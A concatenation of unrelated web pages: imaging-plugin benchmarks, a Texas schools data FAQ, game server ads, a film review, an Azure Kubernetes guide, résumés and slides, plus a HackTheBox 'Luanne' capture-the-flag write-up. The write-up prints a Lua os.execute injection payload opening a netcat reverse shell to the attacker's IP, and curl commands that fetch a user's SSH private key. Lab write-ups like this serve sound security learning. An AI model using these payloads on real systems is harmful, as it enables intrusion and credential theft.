- Simulation detector with a single small peak in Peaks mode. The driver was running in Continuous mode with AcquireTime=0, and AcquirePeriod=0, to achieve maximum frame rate. Both Windows and Linux were able to generate about 1500 frames/sec, which was faster than any of the file plugins could write, so they were always dropping frames.
- 1024 x 1024 8-bit images, so each image was 1 MB.
- File plugins operating in non-blocking mode.
- Files were written to a local disk.
- For the file plugins that cannot save multiple images per file (JPEG, TIFF, Magick), tests were done only in Stream mode, which allows specifying the total number of files to write. For the drivers that can save multiple images per file (netCDF, Nexus, HDF5) tests were done first in Stream mode which saved 5000 images to a single 5GB file. Tests were then done in Single mode. In this mode it is not possible to tell the file plugin to save exactly 5000 frames. Instead the simulation driver was put in Multiple mode with NumImages=5000. Thus the driver generated 5000 frames, but the plugin saved fewer than 5000 because it was dropping frames. The file rate was calculated as the number of frames actually written divided by the elapsed time.
- Note that the amount of data written to the files (5GB) was less than the amound of RAM on each system. It is thus possible that files are being cached in RAM, and that for more frames the I/O rate would drop. This is almost certainly true for the HDF5 file in stream mode on Windows, which has a data rate over 1GB/s.
| File plugin | Mode | Windows (frames/s = MB/s) | Linux (frames/s = MB/s) |
|---|---|---|---|
| JPEG | Stream | 79.1 | 68.4 |
| TIFF | Stream | 259.9 | 186.4 |
| Magick, TIFF | Stream | 55.7 | 39.0 |
| netCDF | Stream | 204.3 | 185.0 |
| netCDF | Single | 133.7 | 179.1 |
| Nexus | Stream | 192.3 | 193.4 |
| Nexus | Single | 106.3 | 145.6 |
| HDF5 | Stream | 1113.5 | 192.0 |
| HDF5 | Single | 139.7 | 108.6 |


Most of the data is sourced from the Texas Education Agency’s annual Texas Academic Performance Report. We report all data as it’s released and labeled by the TEA unless otherwise specified.
We also use TEA’s geographic data to map districts and campuses. Please note that the district’s shapefiles are approximate and should be used for general information, not for determining district affiliation.
Superintendents, principals, and campus and district contact are provided via AskTED.
Sure! Go to TEA's TAPR page and click on a year. Each year's page should have an option to download the data or search by an individual campus or district.
For the 2021-2022 school year, the state gave only A - C ratings. All Texas public school districts and campuses that would have received a D or F rating instead received the label “Not Rated: SB 1365." In addition, not all schools and districts are rated because some are alternative education programs and treatment facilities.
TEA presents “at risk” as the percentage of students identified as being at risk of dropping out of school. According to state statutes:
State law defines a student as being at risk of dropping out of school if he or she is under 26 years of age and:
Some statistics are hidden by TEA because it could make it possible to identify a student. Learn more about the Texas Academic Performance Report’s masking rules.
College-ready graduates are defined by the TEA as the percentage of graduates who meet or exceed the college-ready criteria on the Texas Success Initiative Assessment (TSIA) test, the SAT test or the ACT test. Criteria for each are as follows:
Reading
To meet the college-ready criteria for reading, a student must receive at least a score of 351 on the reading TSIA test, at least a 480 on evidence-based reading and writing (EBRW) SAT, at least a 19 on English and at least a 23 composite score on the ACT, or complete and earn credit for a English/language arts college prep course.
Math
To meet the college-ready criteria for math, a student must receive at least a 350 on the TSIA mathematics test, at least a 530 on the mathematics SAT, at least 19 on math and at least a 23 composite score on the ACT, or complete and earn credit for a mathematics college prep course.
More information can be found in the {{latest_year}} TAPR glossary.
TEA refers to a four-year graduation rate as a four-year longitudinal rate. This measures the status of a group of students, or cohort, after four years in high school. For example, a cohort consisting of students who first attended ninth grade in 2013–2014 are followed through their expected graduation with the Class of 2017.
The four-year-graduation rate as reported in the Texas Public Schools Explorer is the percentage of students who received their high school diploma on time (in four years) or earlier — by Aug. 31 of their graduation year.
According to the TEA Glossary of Acronyms, a full-time equivalent refers to a full-time employee. In calculating the number of staff members employed by a district, for example, two half-time employees would equal one full-time equivalent employee.
The TEA collects hundreds of metrics about schools, but they are not always very accessible. We created the Texas Public Schools Explorer to make it easier for parents and others to learn more about Texas public schools. We surveyed our readers, parents and other interested parties to learn more about what you’re looking for, and we incorporated that feedback into what you see here.
Did we miss anything? Have more questions? Let us know!


Welcome to Duck's Game Servers
Join thousands of other players on us.unturnedducks.com
Join thousands of other players on us.unturnedducks.com
Ducks has been around for over 5 Months now. What started off as a small community Unturned server has developed into something we couldn't even imagine.
The Ducks staff team are friendly, dedicated, and always online to help everything run smoothly. Have any questions? Make sure to reach out!
We have Classic Modded Minecraft, Unturned Servers US#1, Unturned Servers US#2, Unturned Servers US#3, Unturned Servers US#4 on our network, all with fully custom builds and useful perks and features. Join today at us.unturnedducks.com
We're a gaming community that hosts and manages multiplayer servers on Unturned. Complete with loads of custom plugins and an active staff team, we take gaming seriously.
Inspired by Tekkit Classic. The Classic Pack brings you the mods you remember, updated for newer Minecraft versions. A Classic experience. Will you delve into the mysteries of Magic, create a factory to rival them all- or find the perfect balance between them both?You choose, in The Classic Pack.
Kingdoms is a competitive, fast-paced gamemode packed with players! Chose your kingdom and join the race to the top of the leaderboard. Explore our custom gamemodeand test your skills on our server. Join the fight today on UnturnedDucks
Ducks Servers
Read more here...


SECRET BEYOND THE DOOR, THE (director: Fritz Lang; screenwriters: from a story by Rufus King/Silvia Richards; cinematographer: Stanley Cortez; editor: Arthur D. Hilton; cast: Joan Bennett (Celia Lamphere), Michael Redgrave (Mark Lamphere), Anne Revere (Caroline Lamphere), Barbara O'Neil (Miss Robey), Natalie Schafer (Edith Potter), James Seay (Bob Dwight), Mark Dennis (David), Paul Cavanagh (Rick Barrett); Runtime: 99; Universal; 1948)
Reviewed by Dennis Schwartz
The premise of this thriller might be good, but even a great director like Fritz Lang and a superb cast consisting of Joan Bennett and Michael Redgrave can't save this film from its sophomoric use of Freud to give the film's conclusion a pat psychological response to a serious mental disorder presented. The psychology was never convincing, the only thing convincing about this silly film noir is the moody Gothic atmosphere it captured.
Celia (Bennett) and her much older brother Rick Barrett (Cavanagh), are very close. The young socialite relied on him for sound advice on life and in business investments. His sudden death leaves her crushed, but the young family lawyer, Bob Dwight, ably handles the business affairs of the family trust fund she inherits while also falling in love with her. But she has no romantic feelings for the nice guy lawyer.
Vacationing in Mexico, she falls madly in love with an architect, Mark Lamphere (Redgrave), she knows very little about. She has feelings even on her wedding day that there's danger in this marriage. But she puts those cloudy thoughts out of her mind by thinking "this is not the time to think of danger."
 When she joins him in his suburban estate outside of NYC, she's stunned to learn from his sister that he was married before and that his wife died. There's also an unsettling teenager, David, who accuses his father of murdering his mother.
Mark is not only weird in his views on women, but he compulsively collects original rooms in which historical murders have occurred. He reasons that murder fascinates him because it is a stronger emotion than love.
For some unfathomable reason, which in this film is called a reckless love, Celia remains loyal to her possibly murderous husband. She chooses to stay with him even when she unlocks the secret room he keeps locked from everyone and realizes he might have another room prepared for her immortality.
If Lang was not the director, this film could have been a real stinker. But he evokes as much suspense as you can out of such nonsense, and the visual images by the great cinematographer Stanley Cortez are truly remarkable. The film is worth seeing only for those reasons. But even Lang himself thought this was a poor film, and he'll get no argument from me on that score.
REVIEWED ON 9/15/2001 GRADE: C -
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
========== X-RAMR-ID: 29478 X-Language: en X-RT-SourceID: 873 X-RT-AuthorID: 1315 X-RT-RatingText: C-
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Luanne HackTheBox Writeup
Luanne HackTheBox Writeup
Pathway
This is the first BSD box I have done , hence through this process I learned more about BSD . I recommend learning BSD which is similar to linux but it has it’s own commands also . Hence in this box we gain foothold using command injection(lua) vulnerability and then we get user’s ssh private key and decrypt a file and get root password .
First Stage : Enumeration
Nmap scan results.
# Nmap 7.91 scan initiated Sun Feb 7 20:13:47 2021 as: nmap -sC -sV -T4 -vv -p- -oN nmapscan <IP_ADDRESS>
Nmap scan report for <IP_ADDRESS>
Host is up, received conn-refused (0.24s latency).
Scanned at 2021-02-07 20:13:48 IST for 1037s
Not shown: 65532 closed ports
Reason: 65532 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1nFqkIP48mPiQbwIS5LLjiwBR+cn31ljUqGmtdlLPEisAgHbcVrGhXbSkUoHHOtUi/qn+yP9SyUHzMDv7WaeKUkmKgFLsin2xiX0VT82nU5RYQ2YTh/WBXeSKEx7g7oMO6L1G3XBJ24Igf3F3z0r3hwjkjAJqtoH27ERq9IUZuvsSlNndjM/Q2G6ZHNwSjqjrS+rddamP91vn0emJZvcDP4tEi3p56isuCB/6I3Gx31ucapzNknY91fZmko6133eIRRpUqnc/Mk3Spv2bMBxhtYHr1FYiwRf1fk9TfdqPWOToA/YzUvXsEGf5EEzVw3FLMdOkJcI8CR3Y510CJ/W+gefPCOs5l1tcqNLJBw1qNBHyzyO0a2Jlm0vU69BiSwpxNyZmLq9QIfPFGHXrw6b0Ul94eFqPzkcxenP+s9N5ZN35TwWJz7MHTrbRY5Rs9iwGZ4zy5F3gSqKWPekNzPESWO+DoJIcgqNzQVplqaOL5yQLQqMJJTudDEUuIqN/1Zk=
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
| ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAFlwEzim2pzpW7PYcDQB8EQCWPSUxYMK/Tv0fgtPIMkiLepeDQ2WTEdtBnAGRg0CBp6MRM8RR6M+dUeMy9Zm02hpgFjEjNrcXstpm2mS+8axgwxoT2A5F/hkMms6ckkjfMhdLHom+8ZlHPFcX5MWl1cIIuH+A+RGZuJNb6QpEIvguSV/A==
| 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDw96/CWlrLxN0y9RAm9LU3MPNEJOYbJlzMxzUutOIQ
80/tcp open http syn-ack nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-methods:
|_ Supported Methods: GET HEAD POST
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http syn-ack Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Hence the open ports are :
- 22
- 80
- 9001
First I visited port 80 .
Webserver requested for username and password , I tried some common username and passwords , it didn’t work .
Hence this shows that there is service running on port 3000 locally on the machine .
Next I used gobuster .
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://luanne.htb
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,php,json,js,txt
[+] Timeout: 10s
===============================================================
2021/02/07 20:27:05 Starting gobuster
===============================================================
/index.html (Status: 200)
/robots.txt (Status: 200)
Hence when I visited robots.txt , I got this.
When I visited /weather I got 404 . So I used gobuster again but the url was http://luanne.htb/weather/ .
The results are .
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://luanne.htb/weather/
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: js,txt,html,php,json
[+] Timeout: 10s
===============================================================
2021/02/07 21:23:51 Starting gobuster
===============================================================
/forecast (Status: 200)
So I visited forecast.
Hence I tried
Second Stage : Initial foothold
So I we can use this api to our foothold . Hence I tried command injection , nothing worked . Then I remembered the box name and though this was related to Lua .
So we have to use os.execute() in order for command injection . I used the following payload and url encoded it .
‘);os.execute(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <vpn-ip> 4242 >/tmp/f”)–
And passed it in url as
http://<IP_ADDRESS>/weather/forecast?city=%27%29%3Bos.execute%28%22rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+<IP_ADDRESS>+4242+%3E%2Ftmp%2Ff%22%29–
I got shell. In that directory I found a hash .
I cracked the hash and got the password for webapi_user.
I found a user in home directory called r.michaels
__Third Stage : httpd to r.michaels
After running
netstat -nat | grep LISTEN
I found two ports.
- 3000
- 3001
Hence I tried curl to get what is happening on those ports.
Both of them responded with code 401 (unathorized) , just like the port 80.
Since we got the password of webapi_user I tried
curl -u webapi_user:<pass> http://<IP_ADDRESS>:3000/
Hence the password was working . I tried many things to get to the user’s ssh private key . But nothing worked . With help of a hint from a friend I did this.
curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa
I got the private key.
chmod 600 id_rsa
ssh -i id_rsa<EMAIL_ADDRESS>Fourth Stage : r.michaels to root
I found a folder called backups , in that I found an encrypted file .
Since it is encrypted I first tried using openssl to decrypt but didn’t work . Then I found Netpgp which is used in BSD .
Hence I used
netpgp –decrypt devel_backup-2020-09-16.tar.gz.enc –output /tmp/decrypted.tar.gz
Next I unzipped it using tar
tar -xvf decrypted.tar.gz
Hence we got another hash I decrypted and used it to sudo su as root , but didn’t work.
Hence I searched and got to know about doas.
Hence I hope U learned something new through this writeup just like me :)


Verify Register New timnguoiyeu.space User
Hello, here is your activation link. Note that the link is only available within 15 minutes


For hire: Freelancing frontend developer with focus on eCommerce.
With many years of experience developing the frontend design and the user interface for eCommerce stores, I can help you to get more satisfied customers.
I'm specialized in frontend development, UI and UX for eCommerce sites, made with Shopify, Lemonstand, and Magento Open source - and management off the store. With a focus on the visitor and a high conversion rate.
As a frontend designer I understand, create, code and apply a visual design, to create the best user experience according to your needs.
- Plus 10 years of experience in print and web development
- My beacon is clarity and function before form
- I believe in a pain free experience for the visitor.
- Experience in both solo and teamwork
- Many years experience with Photoshop
I'm living a healthy lifestyle and starts every day with two double Espresso.


Booting Kubernetes on Azure Container Service¶
Azure Container Service (ACS) is an optimized container hosting solution that works with all the open source tools you know. Azure is great for Kubernetes and Deis Workflow.
If you don't yet have a Microsoft Azure account, start a trial with $200 of free credit here.
Prerequisites¶
-
You should be able to run the
az
command, which is used to provision resources in the Azure cloud. Either install Azure CLI to your computer or open a Cloud Shell by clicking this icon near the upper right of the Azure Portal: -
You need an SSH key to deploy the Kubernetes cluster. For help, see Microsoft's documentation about creating SSH key pairs for Linux VMs on Azure.
Configure the Azure CLI¶
If you use Cloud Shell, the az
client command is already configured.
If you installed az
locally, log in to your Azure account by typing az login
at a command
prompt and complete the confirmation code process.
You can verify which account is active with the az account show
command.
Note
Your Azure account needs ownership or contributor permissions on an Azure subscription.
If the subscription has 2FA enabled, your Azure account must have ownership credentials in order to create the service principal.
Create an ACS Kubernetes Cluster¶
Azure Container Service can create a Kubernetes cluster using either
the az
command line or the Azure web portal.
Option 1: Command Line¶
Create a group to contain the ACS Kubernetes cluster resources. Export the resource group's name and location to environment variables for use by later commands:
$ # list worldwide datacenter locations so we can pick one
$ az account list-locations --query [].name --output tsv
$ export AZURE_DC_LOCATION=southcentralus # for example
$ export AZURE_RG_NAME=myresourcegroup
$ az group create --name "${AZURE_RG_NAME}" --location "${AZURE_DC_LOCATION}"
Run the az acs create
command to create your Kubernetes cluster, replacing the --dns-prefix
and --ssh-key-value
arguments below with your values:
$ export AZURE_SERVICE_NAME=myacs
$ export AZURE_DNS_PREFIX=mydnsprefix
$ az acs create --resource-group="${AZURE_RG_NAME}" --location="${AZURE_DC_LOCATION}" \
--orchestrator-type=kubernetes --master-count=1 --agent-count=1 \
--agent-vm-size="Standard_D2_v2" \
--admin-username="k8sadmin" \
--name="${AZURE_SERVICE_NAME}" --dns-prefix="${AZURE_DNS_PREFIX}" \
--ssh-key-value @$HOME/.ssh/id_rsa.pub
Azure Container Services immediately begins creating the Kubernetes cluster. After a few minutes, the command returns with information about the new deployment:
{
"id": "/subscriptions/a123b456-1234-1ab2-12ab-12345678abcd/resourceGroups/myresourcegroup/providers/Microsoft.Resources/deployments/azurecli1496357873.8344654",
"name": "azurecli1496357873.8344654",
"properties": {
"correlationId": "eae284bc-4380-484c-9302-f355e278c651",
"debugSetting": null,
"dependencies": [],
"mode": "Incremental",
"outputs": null,
...
},
"resourceGroup": "myresourcegroup"
}
Your Kubernetes cluster on Azure is ready. Skip the next section and connect to the ACS Kubernetes cluster.
Option 2: Web Portal¶
Sign in to the Azure Portal and create a new Azure Container Service. Click on the + New link, then the Compute link, then Azure Container Service.
Select Resource Manager as the deployment model:
Then click the Create button.
Basics¶
Provide these Basics for a new Azure Kubernetes cluster:
- Orchestrator: Kubernetes
- Subscription: choose the Azure subscription to be charged for cloud resources
- Resource group: "Create new" with a unique name
- Location: choose one of Azure's worldwide datacenters
Then click the OK button to move on to Master configuration.
Master configuration¶
First take a slight detour to create a service principal to access resources. Then supply the Master configuration options for your Kubernetes cluster:
- DNS name prefix: the first section of the cluster's hostname
- User name: name of a unix user who will be added to all Kubernetes nodes
- SSH public Key: a public key to authenticate the unix user specified above
- Service principal client ID: the
appId
field of the service principal - Service principal client secret: the
password
field of the service principal - Master count: number of Kubernetes masters for the cluster
When you are satisfied with your choices, click OK to move on to Agent Configuration.
Agent configuration¶
Choose Agent configuration options for your Kubernetes cluster:
- Agent count: number of Kubernetes nodes to create
- Agent virtual machine size: "Standard DS2" or better is recommended
- Operating system: Linux
When you are satisfied with your choices, click OK to move on to Summary.
Summary¶
Confirm the Summary of configuration choices for your Kubernetes cluster:
Click OK to tell Azure Container Services to start creating your new Kubernetes cluster. You can monitor the progress of the deployment on the Azure dashboard, or just wait for a notification that it has completed.
Your Kubernetes cluster on Azure is ready. Now make sure you can connect to the ACS Kubernetes cluster.
Connect to the ACS Kubernetes Cluster¶
kubectl
is the Kubernetes command line client. If you don't already have it installed, you can install it with:
az acs kubernetes install-cli
Download the master kubernetes cluster configuration to the ~/.kube/config file by running the following command:
az acs kubernetes get-credentials --resource-group=$AZURE_RG_NAME --name=$AZURE_SERVICE_NAME
Note: If the cluster was provisioned using any other SSH key than
/home/myusername/.ssh/id_rsa
then the--ssh-key-file
parameter must be used pointing to the SSH key utilized to provision the cluster.
Verify connectivity to the new ACS Kubernetes cluster by running kubectl cluster-info
$ kubectl cluster-info
Kubernetes master is running at https://mydnsprefix.myregion.cloudapp.azure.com
Heapster is running at https://mydnsprefix.myregion.cloudapp.azure.com/api/v1/proxy/namespaces/kube-system/services/heapster
KubeDNS is running at https://mydnsprefix.myregion.cloudapp.azure.com/api/v1/proxy/namespaces/kube-system/services/kube-dns
kubernetes-dashboard is running at https://mydnsprefix.myregion.cloudapp.azure.com/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard
You are now ready to install Deis Workflow


Lukasz Caputa mgr inz.
Software Engineer
A forward-thinking software engineer with over 10 years of commercial experience in solving real problems by developing software-based solutions. Passionate about innovation and technology, with a proven ability to work well under pressure and meet tight deadlines. Highly motivated, with a strong work ethic and desire for delivering quality software products. Skilled in a wide range of software engineering and development roles, including architecture and design, implementation, testing and QA. Fluent in English and German, with strong verbal and written communication skills. Proficient in Java, SQL and Node.js, with a good understanding of software design patterns and frameworks.


Data, Design and Society
Ewan Klein & Alyssa Alcorn
4 March 2016
Today’s Prompts
Make up your own!
Mindmaps
- Central issue
- Label arcs, not nodes
- Decide on main branches, then free associate
PD Prep Questions
- Format of workshop(s)
- Presenting project idea
- Contextualisation
- Understanding by Ps
- Value to Ps
- Example questions


When we first moved our company HQ to Glarus,
we couldn't believe how beautiful and peaceful
a workplace could be. Then we thought, we can't be
the only ones appreciating it, more people should
know about this.
- Nico Schottelius, CEO at ungleich GmbH
After my first visit to Digital Glarus, I felt
right at home and at peace. Now that 200ok has a
mountain-side office, our meetings, workshops and
code-retreats are so much more intense and productive
for everyone. And in the end, when people came
over from the city for work, they want to come back
real soon, because it just feels like going on vacation.
- Alain Lafon , CEO of 200ok GmbH
You get on the train from the city and in an hour
you arrive at a completely different environment.
Just looking around, is amazing.We have this beautiful
nature like on a holiday, but it is still a working
environment and you can really focus and be productive.
I really like this building. it's full of old charm.
- Gregor Martius,
Swiss Federal Institute for Forest, Snow and Landscape Research WSL
excursions
enjoy the great outdoors
cultural events
be inspired
workshops
recharge
OpenNebula workshop :
push your geeky boundary with us at Digital Chalet
Lorawan meetup :
connect with like-minded people and discuss your latest tech obsession.
Cooking and Hacking at Digital Chalet Schwanden
Dive into the beautiful nature around you anytime you want
Contact Us
Digital Glarus In der Au 7 Schwanden 8762 Switzerland
<EMAIL_ADDRESS>(044) 534-66-22


name: inverse layout: true class: center, middle --- class: hero # Doodlebot Case Study .brand[[![Underscore Logo](img/white-logo.png)](http://underscore.io/)] ??? **Estimated time: 15 minutes** Notes help: - "You" generally means the trainer. - Trainees are referred to as "the trainees". - Direct questions/comments for the trainees are written in italics. For example, *What are your goals for the course?* means your should ask the trainees what their goals are. - An ellipsis at the end of the notes indicates you can use the transition to the next slide for effect. Keyboard help: - Pressing P toggled speaker view. - Pressing C clones the slideshow view (to put on the projector if you're using speaker view). - Pressing ? toggles keyboard commands help. --- class: title # Introduction ??? --- # Doodlebot - A simple chat application. - See the Essential Scala patterns in a larger context - See an example closer to most people's day job ??? The goal here is to show how the Essential Scala patterns transfer out of the classroom. We'll use a fairly small web application, with a front- and back-end both written in Scala. We first see the working web application, then fix a broken version of the back-end. --- # Getting Started - Fork `https://github.com/underscoreio/doodlebot` - Run it as described in the `README` ??? --- # Explore - Try the signup and login actions - Make sure you explore the error behavior ??? We'll be reimplementing signup and login, so make sure you understand how they work, and in particular the error behavior: - requirements for user names and passwords - duplicate signups - login when the user doesn't exist - login when the password is incorrect --- # Break Everything! Switch to the `broken` branch. ???


Brand Transparency Index:
Click on the other tab to learn more about the index!
Determining the Transparency Index
- What are the brand's social
and environmental policies?
- How is the brand putting its
policies into practice?
- How does the brand decide
which issues to prioritise?
- What are the brand's future
goals for improving its
impacts?
- Is there board level
responsibility for
the company's social and
environmental impacts?
- Can a relevant department or
individual be easily contacted
with questions?
- How does the brand link
human rights and
environmental issues to
its employee and supplier's
performance?
- Does the brand publish a
list of its suppliers,
from manufacturing to raw
material level?
- If so, how much detail
do they share?
- How does the brand link
human rights and
environmental issues to
its employee and supplier's
performance?
- How does the brand assess
the implementation of its
supplier policies?
- How does the brand
fix problems when found in
its supplier facilities?
- Does the brand disclose
assessment findings?
- How can workers report
grievances?
- What is the brand doing to
address gender equality
and female empowerment?
- What is the brand doing to
support Freedom of
Association and the
payment of living wages?
- What is the brand doing to
tackle waste and recycling,
sustainable production and
climate change?
Click
here
to learn more about the the Fashion Transparency Index


Personal Information
Do Tran Anh Duc
<EMAIL_ADDRESS>0767******
Ho Chi Minh City,
Vietnam
Skills (Hover skills to show details)
Programming Languages
Frameworks
Containerization & Orchestrators
CMS Frameworks
Linux OS
Code Management
Databases
Testing
CI/CD & Deployment
Coding Style
Documents
Languages
English
Japanese - N4
Chinese - HSK1
Mobile Developer
Web-app Full-stack Developer
NLP Researcher
Career Objective
Expertise: More than 6-year experience in Natural Language Processing, Computational Linguistics and Web/Mobile Application Development
Skills: Research, Teaching, Web development, Mobile development, Collaboration, Issue Troubleshoot, Problem Solving, Software Failure Understanding, Backend Development, Cron Job, Automation, Micro-service Development, Fast Delivery, Open Source.
Programming Languages: Python, Kotlin, JavaScript, C, C++, Assembly, Rust, Dart
Frameworks: VueJS, Django, Pytorch, Tensorflow, WASM
Languages: Vietnamese, English, Chinese, Japanese
Platform: AWS
Work Experience
January 2023 - Present
Freelance
Full-stack Developer
Develop an email notification system to monitor event change when user uploads documents (AWS Lambda and Python libraries to check malicious files)
Setup a queue system to decouple system into micro service using Amazon SNS and SQS
Utilize AWS CodePipeline service to setup a complete CI/CD pipeline with notification if failure happens.
Set up high availability and elasticity with load balancing and auto scaling.
Financial Management App for Restaurants
February 2021 - October 2022
University of Science - Ho Chi Minh City
Teaching Assistant
Work as Teaching Assistant in Natural Language Processing, Principles of Programming Languages, Computer Hardware, Computer System Programming, Principle of Programming Language
Guide bachelor courses at the Ho Chi Minh University of Science, Vietnam
Support classroom activities, including tutoring, grading homework, and reviewing exams
Maintain Zoom schedule of support services and attend all sessions
Partner with the teacher to plan and implement lessons following the school's curriculum, goals, objectives, and philosophies
Assist and mentor students in groups of up to 100 by reviewing lesson teachings and giving marks
December 2017 - October 2022
Research Assistant Click here for more details
Develop a Computer-Assisted Translation product with improvement functionality
Publish 2 papers about stylometry in detecting plagiarism for fraud thesis
Construct Vietnamese Toolkit Website for preprocessing Vietnamese text
Construct a Nom Translator Website for Vietnamese heritage preservation
Construct a Word Analysis Website for supporting word analysis
Guide the undergraduate student to make theses about Computer Science, such as Constituency Parsing, Dependency Parsing, Thesis Plagiarism Detector, Real Estate Analyzer, Computer-Aided Translator Website
Research in Cross-lingual Dependency Parsing since 2020
July 2019 - January 2021
Full-stack Web & Mobile Developer
Plan website development, converting mockups into usable web presence with HTML, JavaScript, AJAX and JSON coding.
Construct websites using HTML, CSS, JavaScript and jQuery languages
Build FAQ chatbot console using Vuejs & Django.
Create a chatbot core based on Dialogflow API and Rasa.
Implement Speech-to-Text and Text-to-Speech on chatbot, increasing interaction ability of user.
Develop and built plan for Radio application for Android (using Kotlin).
Deploy APIs for VoIP server, using Linphone mobile as front-end to connect.
April 2019 - July 2019
PrimeLabo Co, Ltd
AI Intern
Offer new algorithms based on to filter out low-quality images
Clean and preprocess all image data before training model
Set up the progress of training Fashion Trending models
Discuss and represent ideas about building a high-level chatbot
August 2017 - March 2018
MIDEAS Co., JSC
Natural Language Processing Intern
Design a database to store chat history from customers
Clean and process text data for analyzing trending
Use data visualization tools to represent models in marketing trending
Clean and report customer data to the marketing team that improves quality when advertising
Crawl data from Facebook using Python packages (Scrapy)
Education
2022 - 2024
Master of Business Administrator
Western Sydney University
2019 - 2021
Computer Science
University Of Science - Ho Chi Minh City
Thesis: Adapting cross-lingual model for Vietnamese dependency parsing (9.4/10). Supervisor: Assoc. Prof. Dinh Dien
Main subject / occupational skills covered
2015 - 2019
Computer Science - Bachelor of Science
University Of Science - Ho Chi Minh City
Thesis: Building Online Computer-Assisted Translation based on Open Source Code (9.0/10). Supervisor: Assoc. Prof. Dinh Dien
Main subject / occupational skills covered
Certifications
2021
Advanced Machine Learning on Google Cloud
Hosted by Google Cloud Training
2021
Preparing for Google Cloud Certification: Machine Learning Engineer
Hosted by Google Cloud Training
2021
Machine Learning with TensorFlow on Google Cloud
Hosted by Google Cloud Training
2021
Google Cloud Digital Leader Training
Hosted by Google Cloud Training
Publications
2018
Nhung Nguyen Tuyet, Duc Do Tran Anh, Dien Dinh, (2018). “Stylometry of Vietnamese texts and application”, National Conference on Education, Vietnamese Study Research and Vietnamese, Hue, Vietnam.
Duc Do Tran Anh, Vinh Luong An, Diep Nguyen Thi Nhu, Dien Dinh, (2018) “Application of stylometry in detecting plagiarism”, 4th International Conference on Interdisciplinary Research in Linguistics and Education, Hue, Vietnam
2021
Duc, Do T. A., Thinh, Pham H. P., Duy, Vu T. and An-Vinh, Luong (2021). “Adapting Word Order Transformation For Vietnamese Dependency Parsing”. The 14th National Conference on Fundamental and Applied IT Research, Ho Chi Minh City, Vietnam. DOI: 10.15625/vap.2021.0099
Duc Do, Dien Dinh, An-Vinh Luong, Thao Do (2021). “Adapting Cross-lingual Model To Improve Vietnamese Dependency Parsing”. The 2021 International Conference on “Artificial Intelligence and Big Data in Digital Era” (ICABDE), Ho Chi Minh City, Vietnam.
Phu-Thinh Pham, Duy Vu-Tran, Anh-Duc Do-Tran (2021). “NER - VLSP 2021: A Span-Based Model for Named Entity Recognition Task with Co-teaching+ Training Strategy”. The 8th International Workshop on Vietnamese Language and Speech Processing (VLSP 2021), Vietnam.
2022
Duy Vu-Tran, Phu-Thinh Pham, Duc Do, Dien Dinh (2022). “Integrating Label Attention into CRF-based Vietnamese Constituency Parser”. 36th Pacific Asia Conference On Language, Information And Computation (PACLIC 2022)
Phu-Thinh Pham, Duy Vu-Tran, Duc Do, Dien Dinh (2022). “Intent Detection and Slot Filling from Dependency Parsing Perspective: A Case Study in Vietnamese”. 36th Pacific Asia Conference On Language, Information And Computation (PACLIC 2022)
Products
Website Products
Nook Renovation - A landing page website for marketing bathroom renovation service
Nook Designer & CMS - A web app for design and custom a bathroom in 2D space
Work with Nook & CMS - A web app for booking a worker (like Grab)
Wordpress - Build a WordPress website with e-Commerce platform. Deploy production in 1 month. Click here
Fashion Website - Build a blog fashion website in 1 day including SEO. Click here
Real-estate Website - Construct and push website in Google Search and get 2 customers. Click here
Dictionary Website - Manually process over 60.000 Vietnamese words for website. Construct website with best platform and security for big data.
Nom Translation - Build a website supporting OCR image containing Nom script and translating into Vietnamese. Model gives over 80% accuracy and best matching with translation memory technique. Click here
Vietnamese Toolkit - Build a Vietnamese toolkit website with support 5 functions for handling Vietnamese text using deep learning model. Run faster 90% after updated. Click here
Resume Website - Build a responsive resume website using only HTML & CSS (TailwindCSS supported). Click here
